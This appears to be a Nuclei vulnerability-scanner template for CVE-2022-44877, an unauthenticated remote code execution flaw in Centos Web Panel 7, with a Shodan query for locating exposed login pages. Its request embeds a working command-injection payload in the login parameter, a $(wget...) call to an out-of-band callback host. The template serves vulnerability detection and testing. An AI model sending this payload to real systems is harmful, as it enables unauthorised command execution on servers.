nuclei-templates/cves/2022/CVE-2022-44877.yaml

38 lines
1.1 KiB
YAML
Raw Normal View History

2023-01-07 07:01:12 +00:00
id: CVE-2022-44877
info:
name: Centos Web Panel - Unauthenticated Remote Code Execution
author: For3stCo1d
severity: critical
description: |
RESERVED An issue in the /login/index.php component of Centos Web Panel 7 before v0.9.8.1147 allows unauthenticated attackers to execute arbitrary system commands via crafted HTTP requests.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-44877
- https://github.com/numanturle/CVE-2022-44877
classification:
cve-id: CVE-2022-44877
metadata:
shodan-query: http.title:"Login | Control WebPanel"
tags: cve,cve2022,centos,firewall,rce
requests:
- raw:
- |
POST /login/index.php?login=$(wget${IFS}http://{{interactsh-url}}) HTTP/1.1
Host: {{Hostname}}
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
username=root&password=toor&commit=Login
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: status
status:
- 302